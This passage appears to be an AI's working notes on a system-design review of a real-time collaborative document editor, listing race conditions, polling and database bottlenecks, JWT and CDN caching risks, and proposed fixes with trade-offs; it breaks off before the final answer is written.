Race condition: Two users on different servers edit same paragraph at nearly same time. Both servers receive the changes, write to DB, and broadcast to their own clients. The writes to DB: if they are updating the same field (e.g., paragraph content) with a timestamp, the second write (based on DB commit time) will overwrite the first, regardless of timestamp. Then when the other server polls, it will see the second write (maybe) and broadcast to its clients. But the first server's clients already saw the first change locally, and now they might receive the second change via polling? Actually, the first server broadcasted the first change to its clients. Then later, when it polls DB, it might see the second change (if it's later) and broadcast to its clients, overwriting the first. But the order of application may cause flickering or lost edits. If conflict resolution is done at client side, similar issues.

Better to use a log of operations with server-assigned sequence numbers, and each client applies operations in order. That's the typical approach (OT/CRDT). The trade-off is complexity.

3. Database Polling

Polling PostgreSQL every 2 seconds for changes from all servers. As number of servers increases, each server polls, causing load on DB. If many servers (say 100), each polling every 2 seconds, that's 50 queries per second per server? Actually, 100 servers * 0.5 Hz = 50 queries per second. That's not huge, but each query may scan for recent changes. If the changes table is large, scanning could be expensive. They might use a "last_updated" timestamp or a sequence ID. Still, polling can be inefficient. Alternative: use a message queue or pub/sub (like Redis Pub/Sub) to broadcast changes between servers in real-time, eliminating polling delay and reducing DB load. Trade-off: adds another component, but improves latency and scalability.

Also, the polling interval of 2 seconds means that changes are not immediately propagated across servers, causing a lag. For a collaborative editor, sub-second latency is desirable.

4. WebSocket Broadcast Only to Local Clients

When a server receives a change, it broadcasts to its own clients. That's fine. But for clients on other servers, they rely on polling. So if a server receives a change, it doesn't immediately notify other servers; they have to wait up to 2 seconds. This increases latency for cross-server updates. Also, if a server crashes after broadcasting to its clients but before writing to DB? Actually, step 2: Server writes change to PostgreSQL, then step 3: broadcasts. So the write to DB is before broadcast. So if the write is successful, the change is persisted, and then broadcasted. If the server crashes after broadcast but before DB commit? Actually, order is important: they write then broadcast. But if the write fails, presumably they wouldn't broadcast. So the DB is the source of truth. Then other servers will eventually poll and get the change. So the local broadcast is an optimization for low latency for clients on the same server. However, if the server fails after write but before broadcast, the local clients won't get the change, but they might get it later via polling when they reconnect to another server? Actually, if the server crashes, its clients lose connection. They will reconnect to another server, and that server will poll DB and send the latest state. So the change is not lost. But there is a period where the user who made the change might not see it confirmed if the server crashes before broadcasting back to the originating client? The client might have sent the change and expects an echo or confirmation. If the server crashes before sending the broadcast, the client might not receive acknowledgment. It might resend, causing duplication. So need idempotency.

5. Data Storage and Snapshots

Documents saved as full HTML snapshots every 30 seconds. This means that changes are written to PostgreSQL presumably as incremental updates, but every 30 seconds a snapshot is taken. The snapshots could be used for recovery or for loading documents quickly. However, if the system only stores snapshots and not a log of operations, it's hard to reconstruct the document at arbitrary points for collaboration. The description says "Sync Strategy: Last-write-wins with timestamps from client clocks." This suggests that the document is stored as a set of paragraphs with timestamps, and each change updates the paragraph. The snapshot might be the full HTML of the document. But if we only have snapshots every 30 seconds, we risk losing changes if a crash occurs between snapshots. However, the changes are also written to PostgreSQL (presumably as updates to the document). But if they are writing each change directly to the document record, then the document is always up-to-date in the DB (except for replication lag). The snapshot might be a backup or for versioning. But the description: "Storage: Documents saved as full HTML snapshots every 30 seconds." Could be that the primary storage is the snapshot, and changes are applied to the snapshot in memory? Actually, we need to interpret: It says "Storage: Documents saved as full HTML snapshots every 30 seconds." That might mean that the document is persisted only every 30 seconds, not after each change. But step 2 says "Server writes change to PostgreSQL". So maybe they write each change to a changes table, and periodically create a snapshot from the log. That is common: store operations, and periodically compact into a snapshot. But the description is ambiguous. We'll assume they store each change in PostgreSQL, and also periodically save snapshots for faster loading. That's fine.

Potential failure: If the server crashes before snapshot is taken, the change log might grow large, and recovery might be slow. But that's manageable.

6. Authentication and JWT

JWT tokens with 24-hour expiry stored in localStorage. This is a security concern: localStorage is vulnerable to XSS attacks. If an attacker can inject JavaScript, they can steal the token. Better to use HttpOnly cookies for storing tokens, but then need to handle CSRF protection. Trade-off: localStorage is easier for SPAs but less secure. Using cookies with HttpOnly and Secure flags is more secure but requires CSRF tokens or SameSite attributes. Also, JWT expiry 24 hours is long; could be shortened and use refresh tokens.

Also, JWT tokens are stateless, but they are stored in Redis for session cache? It says "Redis for session cache." Possibly they store something else. But if they use JWT, they might not need session cache unless they invalidate tokens. JWT is self-contained; if they want to invalidate, they need a blacklist, which could be in Redis. That's okay.

Potential failure: If the token is stolen, an attacker can impersonate the user until expiry. Mitigation: use short-lived tokens and refresh tokens with rotation.

7. CDN Caching API Responses

CDN caches API responses for 5 minutes. For a collaborative editor, many API responses are user-specific or document-specific and dynamic. Caching for 5 minutes could lead to stale data. For example, GET /document/{id} might be cached, but the document changes frequently. If the CDN caches it, users might see outdated content. They should avoid caching dynamic data or use cache invalidation. Possibly they only cache static assets, but they said "also caches API responses for 5 minutes." That's a potential issue. They might have misconfigured CDN. We'll flag it.

8. Database Scaling

Scaling plan: Horizontal scaling by adding more API servers, database read replicas for read-heavy operations, document partitioning by organization ID.

Potential bottlenecks:

• Write scalability: PostgreSQL single primary for writes. As number of writes increases (many users editing many documents), the primary may become a bottleneck. Partitioning by org ID helps, but still all writes go to the primary unless sharding is implemented. They mention partitioning, which could be table partitioning within the same PostgreSQL instance, which doesn't help with write scaling across machines. Actually, "document partitioning by organization ID" could mean sharding across different database instances or clusters. But they didn't specify if it's horizontal sharding. Typically, partitioning in PostgreSQL is logical within a single database, but can help with management and indexing. For scaling writes, you need to distribute writes across multiple database nodes (sharding). They might intend to use separate databases per organization, but that's not trivial.

• Polling load: As number of servers grows, polling load increases linearly. Could be mitigated with a message bus.

• WebSocket connections per server: Node.js can handle many WebSocket connections, but there is a limit per server (memory, file descriptors). Horizontal scaling helps.

• Redis for session cache: Redis can be a bottleneck if heavily used. But it's in-memory and can be clustered.

9. Real-time Consistency

Because each server broadcasts changes to its own clients and others poll, there is eventual consistency with up to 2 seconds delay. For collaborative editing, this may be acceptable but not ideal. Also, conflict resolution via client timestamps can lead to inconsistent final states if clocks are skewed. Need to consider stronger consistency models.

10. Failure Modes: Network Partitions

If a server becomes partitioned from the database, it cannot write changes, so it should reject edits or queue them? Currently, it would likely fail to write and maybe not broadcast. But the client might be left hanging. Need to handle gracefully.

11. Race Conditions in DB Writes

As mentioned, if two servers concurrently update the same paragraph based on client timestamps, they might both read the current state, decide to update, and the later commit overwrites the earlier. Example: Server A reads paragraph with timestamp T1. Client sends change with timestamp T2 (T2 > T1). Server A updates the row, setting content and timestamp to T2. Server B, around the same time, reads the same paragraph before A's update (so sees T1). Client sends change with timestamp T3 (T3 > T1). If T3 < T2, then B's update will overwrite A's update with older timestamp, losing A's change. This is a classic lost update problem. To avoid, they need to use conditional update (compare-and-set) where they update only if the current timestamp is older than the incoming timestamp, or use a version number. But even with conditional update, if both updates have timestamps that are both newer than the read timestamp, whichever commits later will win, but the earlier might be lost. But if they both check the current timestamp before writing, they can avoid overwriting a newer change. However, with concurrent transactions, it's still possible that both see the same old timestamp and both succeed? Actually, suppose both transactions read row with timestamp T1. They both check that their incoming timestamp > T1, which is true. They both attempt to update the row. The first commit will set timestamp to its value (say T2). The second commit will then see that the current timestamp is now T2 (if it re-reads before update, but in a typical UPDATE ... WHERE current_timestamp < incoming_timestamp, the WHERE clause will check the current value at time of update. So the second update's WHERE clause will compare incoming T3 with the current timestamp (which after first commit is T2). If T3 > T2, it will succeed and overwrite; if T3 < T2, it will not update (0 rows affected). So that prevents overwriting with older timestamp. So conditional update can work. But they didn't specify that. They just say "writes change to PostgreSQL". So likely they are doing a simple update, leading to lost updates.

Thus, a race condition exists.

12. Client Clock Skew

Client timestamps can be arbitrarily wrong. A malicious user could set their clock far ahead to always win conflicts. This is a security issue. Need to use server-generated timestamps or logical clocks.

13. Data Integrity with Snapshots

If snapshots are taken every 30 seconds, and the system crashes right before a snapshot, the last snapshot might be old. But if changes are logged, recovery can replay logs. However, if they rely solely on snapshots and not a persistent log, they could lose data. The description says "Server writes change to PostgreSQL", so changes are persisted. Snapshots are just periodic dumps. So that's okay.

14. Load Balancer Round-Robin for WebSocket

Round-robin is fine for initial assignment, but if the load balancer does not support WebSocket persistence, it may route subsequent HTTP requests to different servers, which might be okay if the application uses tokens and stateless servers. However, for WebSocket, the upgrade request is just an HTTP request, so the LB can route it to a server, and then the TCP connection stays with that server. That's typical. So not a problem.

15. Redis Session Cache

Redis is used for session cache. If Redis fails, sessions might be lost, and users may need to re-authenticate. Could be mitigated with replication and failover. But it's a potential single point of failure.

16. CDN Caching API Responses

As mentioned, caching dynamic data is problematic. Also, if the CDN caches API responses that are supposed to be real-time, it breaks the collaborative experience. They should not cache API responses for the document endpoints, or at least use cache-control: no-cache. They might be caching static assets only, but they said "also caches API responses for 5 minutes." That is likely a mistake.

17. Scalability of WebSocket Broadcast

When a server broadcasts to all its clients, if it has many clients (thousands), broadcasting a change to all could be heavy and block the event loop. Node.js can handle it with careful management (e.g., using ws library and iterating over clients). But as number of clients per server grows, broadcast latency increases. Could use a pub/sub system where each server subscribes to document channels and pushes to clients via WebSocket, offloading the broadcast logic? Actually, the current design: each server broadcasts only to its own clients, which is fine because it's only the clients connected to that server. The total broadcast load is distributed across servers. So that scales horizontally. However, if a document has many collaborators all on the same server (due to LB distribution), that server may have to broadcast to many clients. That's okay as long as the server can handle the load. Could be optimized by using a shared pub/sub (like Redis) to fan out messages to all servers, each then sends to its own clients. That would also reduce the need for polling.

18. Polling Overhead and Latency

Polling every 2 seconds is not real-time and adds load. Could use LISTEN/NOTIFY in PostgreSQL to get notifications of changes, eliminating polling. That would be more efficient and reduce latency. But NOTIFY has limitations in scalability (each connection can listen). However, with many servers, each connection can listen to channels. PostgreSQL's NOTIFY can handle many listeners, but there might be performance implications. Alternatively, use a message queue like RabbitMQ or Kafka.

19. Data Partitioning

Partitioning by organization ID helps distribute data. But if some organizations have huge numbers of documents and heavy editing, they may still be a hotspot. Need to consider further sharding.

20. Failure Recovery

If a server crashes, clients reconnect. But there might be in-memory state about pending changes. If the server was holding unsent broadcasts or buffered operations, they could be lost. But since changes are written to DB before broadcast, the persisted state is safe. However, the server might have acknowledged to the client before writing to DB? The flow says write then broadcast, but does the server send an ACK to the client? Not specified. Typically, the server might broadcast the change to all clients including the sender, and the sender sees its own change applied. But if the server crashes after writing to DB but before broadcasting, the originating client may not see its change reflected, and might think it failed. The client could resend, causing duplication. To handle, use idempotent operations with client-generated IDs, so resending doesn't cause duplicate changes.

21. Security: WebSocket Connections

WebSocket connections are persistent and may need to be authenticated. Typically, the connection starts with an HTTP request containing the JWT. The server validates the token and upgrades. If the token expires during the connection, the server should close the connection or request re-authentication. With 24-hour expiry, it's less likely but still possible. Need to handle token refresh via a separate API call, and possibly re-establish WebSocket.

Now, let's list the issues systematically.

We'll categorize:

1. Real-time Sync and Conflict Resolution

   • Client timestamps for last-write-wins
   • Polling delay (2 seconds)
   • Race conditions due to concurrent updates
   • Potential data loss

2. Database Polling

   • Latency
   • Scalability (load on DB)
   • Inefficiency

3. WebSocket and Load Balancing

   • Single point of failure at LB
   • Server failure handling
   • Reconnection and duplicate changes

4. Data Storage and Snapshots

   • Snapshot frequency may cause data loss if only snapshots are used? But they also write changes. However, if they only write changes to a log, snapshots are for compaction. But we need to confirm: they might be writing each change to PostgreSQL, so fine.

5. Authentication and Security

   • JWT in localStorage
   • Long expiry
   • CDN caching API responses
   • Potential XSS

6. Scalability Bottlenecks

   • Write scalability of PostgreSQL primary
   • Polling load
   • Redis as single point
   • WebSocket per server limits

7. Consistency and Fault Tolerance

   • Network partitions
   • Crash recovery
   • Eventual consistency delay

We'll produce a list of specific issues with solutions and trade-offs.

Let's think of more nuanced issues:

Issue: Client clock skew leading to unfair conflict resolution. Solution: Use server-generated timestamps or logical clocks (e.g., vector clocks, sequence numbers). Trade-off: Increases server load and complexity.

Issue: Lost updates due to concurrent writes without conditional checks. Solution: Use optimistic concurrency control with version numbers (e.g., incrementing version per document or per paragraph). Trade-off: Requires reading before writing, and handling failed updates (retry). Could also use Operational Transform or CRDTs for collaborative editing, which are more robust but complex.

Issue: Polling for changes introduces up to 2 seconds latency for cross-server updates. Solution: Replace polling with a pub/sub system (e.g., Redis Pub/Sub, Kafka, or PostgreSQL NOTIFY) to push changes between servers in real-time. Trade-off: Adds complexity and new components, but reduces latency and DB load.

Issue: Database polling every 2 seconds by each server can cause high load on DB as number of servers grows. Solution: Use a message bus as above, or batch polling, or increase polling interval, but best is pub/sub. Trade-off: same.

Issue: Single point of failure at load balancer. Solution: Deploy multiple load balancers with DNS round-robin or anycast, or use cloud provider's managed LB with HA. Trade-off: Cost, complexity.

Issue: WebSocket server failure may cause clients to lose connection and unsent changes if not acknowledged. Solution: Implement client-side buffering and retry with idempotent operation IDs. On server side, ensure changes are persisted before acknowledging to client. Use heartbeats to detect failure quickly. Trade-off: Client code complexity, potential duplicate operations.

Issue: JWT stored in localStorage vulnerable to XSS. Solution: Store JWT in HttpOnly cookie with Secure and SameSite=Strict. Use CSRF tokens. Trade-off: More complex to implement, but more secure. Also, cookies are sent automatically, which could be a risk for CSRF; but SameSite and CSRF tokens mitigate.

Issue: CDN caching API responses for 5 minutes leads to stale data. Solution: Configure CDN to not cache dynamic API responses, or use appropriate Cache-Control headers (no-cache, private). Trade-off: Increased load on origin servers but ensures freshness.

Issue: Horizontal scaling of writes to PostgreSQL is limited. Solution: Shard the database by organization ID across multiple PostgreSQL instances or use a distributed database like CockroachDB. Trade-off: Increased operational complexity, potential cross-shard queries harder.

Issue: Redis as session cache single point of failure. Solution: Use Redis Cluster or sentinel for high availability. Trade-off: More complex setup.

Issue: Broadcast to many clients on same server may block event loop. Solution: Use non-blocking I/O, and consider using a dedicated WebSocket server library that handles broadcast efficiently (e.g., using ws and iterating). Could also offload to a pub/sub where each client subscribes to a channel and Redis pushes directly? Not directly; server still needs to send. But can use worker threads? Not needed. Node.js can handle many WebSocket connections; broadcasting to all clients of a document might be O(n) per change, which could be heavy if many clients. Could use a fanout mechanism: each client connection is independent, and Node.js can send messages asynchronously. It's manageable with moderate numbers. For large scale, consider using a dedicated real-time backend like Socket.IO with Redis adapter, which distributes broadcasts across servers via pub/sub. Actually, that's a good point: currently, each server only broadcasts to its own clients. If a document has collaborators spread across multiple servers, each server needs to broadcast to its own clients. That's fine. But if a server has many clients for a popular document, it might be a bottleneck. However, the load balancer should distribute clients evenly. If a particular document is very popular, its collaborators may still be on multiple servers? Actually, if many users are editing the same document, they could be connected to different servers. So the load is distributed. So broadcast per server is not a huge issue. But still, the server needs to send the same message to all its clients interested in that document. That's O(clients_per_server). That's okay.

Issue: Polling interval may cause merge conflicts to be more frequent because users don't see others' changes quickly. Solution: Reduce polling interval, but that increases DB load. Use pub/sub to push changes instantly.

Issue: Using full HTML snapshots every 30 seconds could be inefficient if documents are large and changes are small. Solution: Store incremental changes (operational transforms) and rebuild snapshots asynchronously. Trade-off: More complex but saves storage and I/O.

Issue: Round-robin load balancing may not account for server load, leading to uneven distribution. Solution: Use load-aware LB (e.g., least connections, CPU). Trade-off: More sophisticated LB.

Issue: No mention of monitoring, logging, or alerting. But not asked.

Now, we need to produce a comprehensive answer listing each potential failure mode, race condition, and scaling bottleneck, with specific solutions and trade-offs.

We should structure the answer clearly. Possibly group related issues.

Let's outline:

1. Real-time Sync Issues

   • Conflict resolution using client timestamps
     • Problem: Clock skew, malicious manipulation, lost updates.
     • Solution: Use server-assigned sequence numbers or vector clocks; or implement Operational Transform (OT) / CRDT.
     • Trade-off: Increased server complexity, higher latency for assigning sequence numbers (needs coordination), but ensures consistency.
   • Polling delay (2 seconds)
     • Problem: Cross-server updates delayed up to 2 seconds, leading to poor real-time experience.
     • Solution: Use a pub/sub system (e.g., Redis Pub/Sub, Kafka) to notify other servers immediately of changes.
     • Trade-off: Introduces new component, adds operational overhead, but reduces latency.
   • Race condition in concurrent updates
     • Problem: Without conditional writes, last DB write wins, disregarding timestamps, causing lost updates.
     • Solution: Use optimistic concurrency control with version numbers or conditional updates (compare-and-set).
     • Trade-off: Requires reading before writing, handling retries, and may increase DB load.

2. Database Polling Scalability

   • Problem: Each server polls PostgreSQL every 2 seconds; as number of servers grows, polling frequency increases linearly, causing high read load on DB.
   • Solution: Replace polling with a message queue or pub/sub as above; or use PostgreSQL LISTEN/NOTIFY to push changes.
   • Trade-off: LISTEN/NOTIFY may not scale to thousands of connections; message queue adds complexity.

3. WebSocket and Load Balancer Failure Modes

   • Load balancer single point of failure
     • Problem: If load balancer fails, new connections cannot be established and existing connections may drop.
     • Solution: Use a highly available load balancer setup (active-passive or active-active) with health checks and failover.
     • Trade-off: Additional cost and configuration.
   • WebSocket server failure
     • Problem: Clients lose connection; unsent changes may be lost if not acknowledged; reconnection may cause duplicate changes.
     • Solution: Implement idempotent operation IDs, client-side queue with retry, and ensure server writes to DB before acknowledging. Use heartbeats to detect failure.
     • Trade-off: Client-side complexity, additional logic for idempotency.
   • Load balancer affinity not needed but round-robin may cause uneven load distribution.
     • Problem: Some servers may become overloaded if clients are not evenly distributed.
     • Solution: Use load balancer with least connections or weighted round-robin based on server metrics.
     • Trade-off: More sophisticated LB needed.

4. Authentication and Security

   • JWT in localStorage vulnerable to XSS
     • Problem: Malicious scripts can steal token, leading to account compromise.
     • Solution: Store JWT in HttpOnly, Secure, SameSite=Strict cookie; use CSRF tokens.
     • Trade-off: Requires CSRF protection, slightly more complex frontend handling.
   • Long expiry (24 hours)
     • Problem: If token is stolen, attacker has long window.
     • Solution: Use short-lived access tokens (e.g., 15 minutes) with refresh tokens stored securely (HttpOnly cookie). Rotate refresh tokens.
     • Trade-off: More frequent token refresh, need to handle refresh logic.
   • CDN caching API responses
     • Problem: Dynamic data like document content may be cached, causing stale reads.
     • Solution: Set Cache-Control: no-cache, private for API endpoints; or configure CDN to bypass cache for /api/*.
     • Trade-off: Increased load on origin, but ensures data freshness.

5. Data Storage and Snapshots

   • Snapshot frequency may lead to data loss if system crashes before snapshot and changes are only in memory? But they write changes to DB, so maybe not. However, if they rely solely on snapshots for persistence, that's a problem. We'll assume they persist changes, but still:
   • Problem: Storing full HTML snapshots every 30 seconds could be inefficient for large documents with frequent changes; also recovery point objective is 30 seconds.
   • Solution: Store incremental changes (operation log) and generate snapshots asynchronously; use Write-Ahead Logging or event sourcing.
   • Trade-off: More complex to implement, but reduces storage and provides finer recovery.

6. Scalability Bottlenecks

   • Write scalability of PostgreSQL primary
     • Problem: All writes go to a single primary database; as user base grows, writes may become bottleneck.
     • Solution: Shard the database by organization ID across multiple database instances; use a distributed SQL database.
     • Trade-off: Application must route queries to correct shard; cross-shard operations difficult; increased complexity.
   • Redis as session cache single point of failure
     • Problem: If Redis fails, session data lost, users may be logged out or experience errors.
     • Solution: Use Redis Cluster with replication and automatic failover.
     • Trade-off: More complex setup, but improves availability.
   • WebSocket connections per server limit
     • Problem: Node.js has limits on number of concurrent connections (file descriptors, memory). A single server may not scale beyond a few tens of thousands.
     • Solution: Horizontally scale API servers; use a WebSocket gateway service optimized for many connections (e.g., using Elixir, Go). But Node.js can handle many with tuning.
     • Trade-off: Adding more servers is straightforward; but may need to optimize per-server settings.

7. Consistency and Partition Tolerance

   • Network partition between server and DB
     • Problem: Server cannot write changes, edits fail.
     • Solution: Design client to queue changes offline and sync when connectivity restored; use conflict resolution strategies (CRDTs) to merge later.
     • Trade-off: Complex offline support, but improves user experience.
   • Eventual consistency delay due to polling
     • Already addressed with pub/sub.

8. Other Race Conditions

   • When multiple servers poll and broadcast the same change, duplicate broadcasts could occur? Possibly not, but if they poll at different times, they might broadcast the same change multiple times. That's okay if changes are idempotent.
   • Need to ensure that when a server polls, it only gets changes that it hasn't seen. Use a monotonically increasing sequence number per change, and each server remembers the last processed ID. That's a typical approach. The current design might just get all changes in the last 2 seconds, which could cause duplicates if the same change is fetched again (if polling interval overlaps). They should use a cursor.

   Problem: Polling with a time window may miss changes if they are made exactly at the boundary, or may fetch duplicates. Solution: Store changes with an auto-increment ID, and each server tracks last processed ID. Trade-off: Requires additional bookkeeping.

Now, we need to produce a final answer that lists these issues and solutions.

The instruction: "Identify all potential failure modes, race conditions, and scaling bottlenecks in this architecture. For each issue found, propose a specific solution with trade-offs."

We should produce a list, perhaps bullet points or numbered, each with a clear description, problem, solution, trade-off.

We can group but ensure each issue is distinct.

Let's compile a comprehensive list:

Potential Failure Modes (system may fail or behave incorrectly):

1. Client clock skew causing unfair conflict resolution: Clocks may be out of sync; malicious users can set clock ahead to always win. Solution: Use server-assigned timestamps or sequence numbers. Trade-off: Adds latency (need to get timestamp from server) and requires coordination; but ensures fairness and consistency.

2. Lost updates due to concurrent writes without concurrency control: Two servers may overwrite each other's changes. Solution: Use optimistic concurrency control with version numbers (e.g., increment version on each update, check before write). Trade-off: Requires reading before writing, handling retries, may increase DB load.

3. WebSocket server failure leading to lost in-flight changes: If server crashes after receiving change but before persisting or acknowledging, client may think change failed or resend. Solution: Implement idempotent operation IDs, persist change before acknowledgment, and client retries with same ID. Trade-off: Client-side complexity, need to generate unique IDs.

4. Load balancer single point of failure: If load balancer fails, service becomes unavailable. Solution: Use highly available load balancer setup (active-passive with failover) or cloud-managed LB with redundancy. Trade-off: Additional cost and complexity.

5. Redis session cache failure: If Redis goes down, session data lost, users may be logged out. Solution: Use Redis Cluster with replication and automatic failover. Trade-off: Increased operational overhead.

6. Database primary failure: PostgreSQL primary failure can cause downtime. Solution: Set up streaming replication with failover (e.g., using Patroni). Trade-off: Complexity and potential data loss during failover.

7. Network partition between server and DB: Server cannot write, edits fail. Solution: Allow offline editing with local queue and sync later using CRDTs. Trade-off: Significant complexity, but improves availability.

8. CDN caching dynamic API responses: Users may see stale document content. Solution: Configure CDN to not cache API responses, or set proper Cache-Control headers. Trade-off: Increased load on origin servers.

9. JWT stored in localStorage vulnerable to XSS: Attackers can steal tokens. Solution: Store tokens in HttpOnly cookies with Secure and SameSite flags, and implement CSRF protection. Trade-off: More complex to implement, but more secure.

10. Long JWT expiry increases risk if token stolen: 24 hours is long. Solution: Use short-lived access tokens (e.g., 15 min) with refresh tokens stored securely. Trade-off: More frequent token refresh, need refresh endpoint.

Race Conditions (timing issues leading to inconsistency):

1. Concurrent updates to same paragraph without proper locking: Two servers read old state, both update, leading to lost update. (Already covered in lost updates, but it's a race condition). Solution: Conditional updates (compare-and-set) as above.

2. Polling window overlap causing duplicate processing of changes: If servers poll for changes based on timestamp, they may fetch the same change twice, leading to duplicate broadcasts. Solution: Use a monotonically increasing sequence ID for changes, and each server tracks last processed ID. Trade-off: Requires additional bookkeeping per server.

3. Client reconnection after server crash may cause duplicate operations: If client resends change after timeout, but original change was persisted, duplicate may be applied. Solution: Idempotent operation IDs as above.

4. Timestamp-based conflict resolution with network delays: Even with conditional updates, if two clients have timestamps that are both newer than current, the later commit may overwrite the earlier if timestamps are close and one server's write is delayed. Actually, conditional update with timestamp check would prevent overwriting if the incoming timestamp is not greater than current. But if both have timestamps greater than current, the first will succeed, the second will check if its timestamp > current (now updated to first's timestamp). If second's timestamp > first's, it will overwrite; if not, it will fail. So order depends on timestamp order, not commit order. That's fine. But if clocks are skewed, a later edit may have an earlier timestamp and be rejected incorrectly. That's a failure mode, not race. So the race is mitigated by conditional update, but clock skew remains.

Scaling Bottlenecks (limits to growth):

1. Database write scalability: Single PostgreSQL primary handles all writes. As number of concurrent edits grows, writes may become bottleneck. Solution: Shard database by organization ID across multiple PostgreSQL instances or use distributed SQL. Trade-off: Application must route queries to correct shard; cross-organization queries become complex.

2. Polling load on database: Each server polling every 2 seconds causes read load that scales with number of servers. Solution: Replace polling with pub/sub (e.g., Redis Pub/Sub, Kafka) to push changes. Trade-off: Introduces new component, but reduces DB load and latency.

3. WebSocket connections per server: Node.js may hit limits (e.g., ~65k connections per server due to port range, but actually limited by file descriptors). Solution: Scale horizontally, tune OS limits, use a more scalable WebSocket server (e.g., using Go or Erlang). Trade-off: Adding servers is straightforward; may need to adjust architecture.

4. Broadcast to many clients on a single server: If a popular document has many collaborators on the same server, broadcasting a change to all could be CPU-intensive and cause backpressure. Solution: Use a dedicated pub/sub where each client connection is handled by the server, but broadcast can be optimized by using a set of WebSocket connections and iterating; or use Redis Pub/Sub to fan out messages to multiple servers even for same document, but that's already for cross-server. For intra-server, it's still O(N). Could use multicast? Not over internet. Trade-off: Acceptable for moderate N; if N is huge, may need to partition further.

5. Redis as central cache: As number of users grows, Redis may become a bottleneck. Solution: Use Redis Cluster to distribute load. Trade-off: More complex configuration.

6. Snapshot generation overhead: Generating full HTML snapshots every 30 seconds for many documents could consume CPU and I/O. Solution: Generate snapshots asynchronously in background workers, and only for active documents. Trade-off: Delayed snapshots, but reduces peak load.

7. Load balancer round-robin not load-aware: May cause uneven load across servers. Solution: Use load balancer with least connections or based on server health. Trade-off: May require more sophisticated LB features.

Now, we need to present these in a clear, concise manner. The instruction says "Identify all potential failure modes, race conditions, and scaling bottlenecks." So we should list them, perhaps categorized, but ensure each is identified and then a solution with trade-offs.

We should be careful not to over-list; some are duplicates. For example, "lost updates" is both a failure mode and race condition. We can present as one item with both aspects.

Let's produce a structured answer:

• For each issue:
  • Issue: description (type: failure mode/race condition/bottleneck)
  • Solution: specific technical solution
  • Trade-offs: what we give up or added complexity

We can number them.

Given the breadth, we can combine related issues where appropriate, but the instruction says "for each issue found", so each distinct issue should have its own solution.

I'll produce a list of about 10-15 items, covering the main points.

But let's also consider if there are any issues with the "partitioning by organization ID" scaling plan. It might be insufficient if an organization is very large. That's a scaling bottleneck: hotspot organizations. Solution: further shard within organization by document ID or user. Trade-off: complexity.

Also, the system uses "last-write-wins" which is a simplistic conflict resolution; for collaborative editing, it can lead to poor user experience because typing over each other's changes may be lost. That's a functional issue, not just technical. But we can mention that a more sophisticated approach like OT/CRDT is preferable, but with trade-offs of complexity.

Now, let's draft.

Answer Outline:

1. Conflict Resolution Using Client Timestamps

   • Problem: Clock skew, manipulation, lost updates.
   • Solution: Use server-generated sequence numbers or vector clocks; or adopt Operational Transform / CRDT.
   • Trade-off: Increased complexity and server coordination; may increase latency slightly.

2. Lost Updates Due to Lack of Concurrency Control

   • Problem: Concurrent writes from different servers can overwrite each other.
   • Solution: Implement optimistic concurrency control with version numbers and conditional updates (compare-and-set).
   • Trade-off: Additional read before write, retry logic, and potential increased DB load.

3. Polling Delay and DB Load

   • Problem: 2-second polling introduces latency for cross-server updates and scales poorly with many servers.
   • Solution: Replace polling with a real-time pub/sub system (e.g., Redis Pub/Sub, Kafka) to push changes between servers.
   • Trade-off: Adds new component, increases architectural complexity, but reduces latency and DB load.

4. WebSocket Server Failure and In-Flight Changes

   • Problem: Server crash may lose unacknowledged changes or cause duplicates on retry.
   • Solution: Use idempotent operation IDs, persist changes before acknowledgment, and implement client-side retry queue.
   • Trade-off: Client-side complexity, need for unique ID generation and idempotent processing on server.

5. Load Balancer Single Point of Failure

   • Problem: If load balancer fails, service becomes unavailable.
   • Solution: Deploy load balancer in high-availability mode (active-passive) or use cloud-managed LB with auto-scaling and health checks.
   • Trade-off: Additional cost and configuration.

6. Redis Session Cache Availability

   • Problem: Redis outage leads to session data loss and forced re-authentication.
   • Solution: Use Redis Cluster with replication and automatic failover.
   • Trade-off: Operational overhead, but ensures high availability.

7. Database Write Scalability

   • Problem: Single PostgreSQL primary limits write throughput.
   • Solution: Shard database by organization ID across multiple instances, or use a distributed SQL database.
   • Trade-off: Application must be shard-aware; cross-shard queries become difficult.

8. JWT Stored in localStorage (XSS Risk)

   • Problem: Vulnerable to XSS attacks stealing tokens.
   • Solution: Store tokens in HttpOnly, Secure, SameSite cookies and implement CSRF protection.
   • Trade-off: More complex frontend/backend coordination, need CSRF tokens.

9. Long JWT Expiry

   • Problem: Stolen tokens remain valid for up to 24 hours.
   • Solution: Use short-lived access tokens (e.g., 15 minutes) with refresh tokens stored securely.
   • Trade-off: More frequent token refresh requests, need refresh endpoint and secure storage for refresh token.

10. CDN Caching API Responses

    • Problem: Dynamic document data may be cached, causing stale reads.
    • Solution: Configure CDN to bypass cache for API routes, or set Cache-Control: no-cache, private.
    • Trade-off: Increased load on origin servers, but ensures data freshness.

11. Snapshot Generation Overhead

    • Problem: Full HTML snapshots every 30 seconds for all documents can consume significant resources.
    • Solution: Generate snapshots asynchronously using background workers, only for active documents, and store incremental changes.
    • Trade-off: Delayed snapshots, added complexity of job queue.

12. Polling Duplicate Processing

    • Problem: Servers polling based on time window may fetch the same change multiple times, causing duplicate broadcasts.
    • Solution: Use a monotonically increasing sequence ID for changes, and each server tracks last processed ID.
    • Trade-off: Requires additional bookkeeping and a way to generate global sequence IDs (e.g., database sequence).

13. Load Balancer Not Load-Aware

    • Problem: Round-robin may unevenly distribute connections, overloading some servers.
    • Solution: Use load balancer algorithm like least connections or based on server health metrics.
    • Trade-off: May require more advanced load balancer features.

14. WebSocket Connection Limits

    • Problem: Node.js server may hit OS limits on concurrent connections.
    • Solution: Scale horizontally, tune OS limits (e.g., increase file descriptors), or use a language/runtime optimized for massive concurrency (e.g., Elixir, Go) for WebSocket handling.
    • Trade-off: Additional servers increase cost; switching language may be costly.

15. Offline Support and Network Partitions

    • Problem: If server loses DB connectivity, edits fail; users experience interruption.
    • Solution: Allow offline editing with client-side queue and merge later using CRDTs; or degrade gracefully.
    • Trade-off: Significant complexity to implement conflict resolution and sync.

We might also mention the issue of "Broadcast to many clients on same server" but it's somewhat covered by scaling horizontally and load balancing. Could be added.

But the list is already long. We need to ensure we cover the main points from the description.

Now, we need to write the final answer in a clear, organized way.

I'll structure as:

Potential Failure Modes, Race Conditions, and Scaling Bottlenecks

1. Issue: ...
   • Type: Failure mode / Race condition / Scaling bottleneck
   • Description: ...
   • Solution: ...
   • Trade-offs: ...

But to keep it concise, we can just present each as a paragraph with bullet.

Given the instruction, we can just list each issue and its solution with trade-offs.

I'll produce a numbered list.

Let's start writing.

